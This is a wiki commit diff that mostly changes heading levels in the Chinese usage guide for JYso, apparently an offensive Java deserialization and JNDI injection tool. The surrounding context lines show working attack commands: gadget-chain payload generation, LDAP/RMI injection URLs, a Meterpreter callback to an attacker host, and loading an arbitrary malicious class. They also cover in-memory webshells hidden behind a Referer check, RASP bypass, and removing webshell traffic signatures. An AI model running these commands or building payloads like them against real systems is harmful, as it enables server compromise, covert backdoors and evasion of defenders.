Updated JYso‐CN (markdown)

炁
2024-03-14 16:52:35 +08:00
parent 5eeacc1861
commit e6e27b99b1
+17 -19
@@ -1,6 +1,4 @@
# JYso 用法
## 1.1 启动服务
# 1.1 启动服务
```payload区分大小写```
@@ -142,7 +140,7 @@ http://127.0.0.1:3456/setRoute?a=Deserialization/CommonsCollections6/command/Bas
ldap://127.0.0.1:1389/[Basic or TomcatBypass]/command/Base64/[base64_encoded_cmd]
```
## 1.2 Echo使用
# 1.2 Echo使用
- 命令 `AllEcho`:DFS 找 Request 命令执行回显
- 命令 `TomcatEcho`:Tomcat 命令执行回显
@@ -188,7 +186,7 @@ ldap://127.0.0.1:1389/TomcatBypass/E-Meterpreter/msf/[msf_ip]/[msf_port]
---
## 1.3 内存马
# 1.3 内存马
解决 Shiro Header 头部过长问题:
@@ -252,7 +250,7 @@ rmi://127.0.0.1/E-EX-MemShellClass
-y -g [Gadget] -p "[E-EX-MemShellClass]"
```
### 1.3.1 命令执行及后门类
## 1.3.1 命令执行及后门类
对于植入的内存马及恶意逻辑,首先为了隐藏内存马,通过逻辑进行了判断,需要在请求 Header 中添加 `Referer: https://QI4L.cn/ `,其次执行不同的逻辑:
这个校验的 header 头部和值可以通过 `-hk "Referer" -hv "https://QI4L.cn/"` 来进行自定义指定。
@@ -275,7 +273,7 @@ rmi://127.0.0.1/E-EX-MemShellClass
7. 如果是 <font color="orange"> Tomcat Upgrade </font> 内存马,需要指定 `Connection: Upgrade` 以及 `Upgrade: version.txt`,程序会从 Header 中的 `X-Token-Data` 中读取待执行的命令,并将结果放回 response 中回显,可以使用 `-u "/aaa" -ch "testecho"` 来指定。
### 1.3.2 RMI 内存马
## 1.3.2 RMI 内存马
对于 RMIBindTemplate
是在目标服务器上的指定端口启动注册中心(如果没有),并向其中绑定恶意的后门类,配合 `exploit.org.qi.ysuserial.RMIBindExploit`
@@ -309,7 +307,7 @@ rmi://127.0.0.1/E-EX-MemShellClass
---
## 1.4 SignedObject 二次反序列化 Gadget
# 1.4 SignedObject 二次反序列化 Gadget
用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等)
@@ -341,7 +339,7 @@ ldap://127.0.0.1:1389/Deserialization/SignedObject/command/Base64/CC:commonscoll
---
## 1.5 Gadget
# 1.5 Gadget
```text7
[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]
@@ -459,12 +457,12 @@ If you want your payload being extremely short,you could just use:
java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser
```
### 1.5.1 针对 TemplatesImpl
## 1.5.1 针对 TemplatesImpl
原版仅使用了 Runtime 的命令执行方式,这里对其进行深度的扩展,并植入了多种内存马的功能。
### 1.5.2 针对 ChainedTransformer
## 1.5.2 针对 ChainedTransformer
- CommonsCollections1
- CommonsCollections5
@@ -537,7 +535,7 @@ java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'JD-ldap://127.0.0.1:1
java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'open -a Calculator.app'
```
## 1.6 任意自定义代码
# 1.6 任意自定义代码
如果你不想使用本项目中提供的恶意逻辑,也不想执行命令,可以通过自定义代码的形式,自定义代码将会在目标服务器通过 ClassLoader
@@ -551,7 +549,7 @@ java -jar JYso-[version].jar -y -g CommonsCollections3 -p LF-/tmp/evil.class
## 1.7 URLDNS 探测目标类
# 1.7 URLDNS 探测目标类
为了解决有反序列化利用点但是无链可用的状态,本项目提供了基于 URLDNS 探测目标类的功能。这条链会根据目标环境中不同的类是否存在来判断系统环境、依赖版本,主要包含如下表格中的内容:
@@ -595,7 +593,7 @@ java -jar JYso-[version].jar -y -g URLDNS -p 'all:xxx.dns.log'
ldap://127.0.0.1:1389/Deserialization/URLDNS/command/Base64/[base64_encoded_all:xxxxxx.dns.log])
```
## 1.8 其他利用链的拓展
# 1.8 其他利用链的拓展
对于 BeanShell1 及 Clojure 这两个基于脚本语言解析的漏利用方式。
@@ -610,7 +608,7 @@ ldap://127.0.0.1:1389/Deserialization/URLDNS/command/Base64/[base64_encoded_all:
对于 BeanShell1,还通过 ScriptEngineManager 执行 JS 的方式支持回显或内存马的打入。使用方式同上:`EX-`
## 1.9 流量层面
# 1.9 流量层面
对于冰蝎和哥斯拉,他们自己在流量和Java层都有很多可以提取的特征,这里没有办法去管控,需要各位自行去魔改,其实也并不难。本项目把一些大家实现的比较类似的一些特征进行了去除。
@@ -627,14 +625,14 @@ java -jar JYso-[version].jar -y -g CommonsBeanutils1 -p 'EX-MS-TEXMSFromThread'
可以生成填充了 50000 个脏字符的序列化数据
## 2.0 RASP 层面
# 2.0 RASP 层面
对于漏洞执行常使用的 Runtime、URLClassLoader 等,很多 RASP 都进行了 Hook,在攻击时可能会被拦截,这里我使用了一些反射调用 native 方法之类的技术去尝试 RASP
的防御,具体的技术实现就不细说了,感兴趣的朋友可以反编译 jar 包查看相关代码。 可以使用 -o 参数指定使用绕过 RASP 的相关技术。
目前已支持动态生成混淆的类名,不存在任何 `qi4l` 关键字。
## 2.1 Exploit
# 2.1 Exploit
除了单独的参数外,其余参数与 payload 的参数保持一致
@@ -653,7 +651,7 @@ java -jar JYso-[version].jar -y -g CommonsBeanutils1 -p 'EX-MS-TEXMSFromThread'
java -cp JYso-[version].jar -y com.qi4l.jndi.exploit.JRMPListener 8888 -g CommonsCollections1 -p whoami
```
## 2.2 普通命令执行
# 2.2 普通命令执行
+ JNDI-Injection-Exploit 用法:
```
@@ -665,6 +663,6 @@ jndi:ldap://127.0.0.1:1389/[Basic or TomcatBypass ]/command/base64/[base64cmd]
-y -g [Gadget] -p "calc"
```
## 2.3 MSF/CS 上线
# 2.3 MSF/CS 上线
使用 MSF 的上线载荷配合远程 Jar 包调用完成 MSF 上线,后续可转 CS。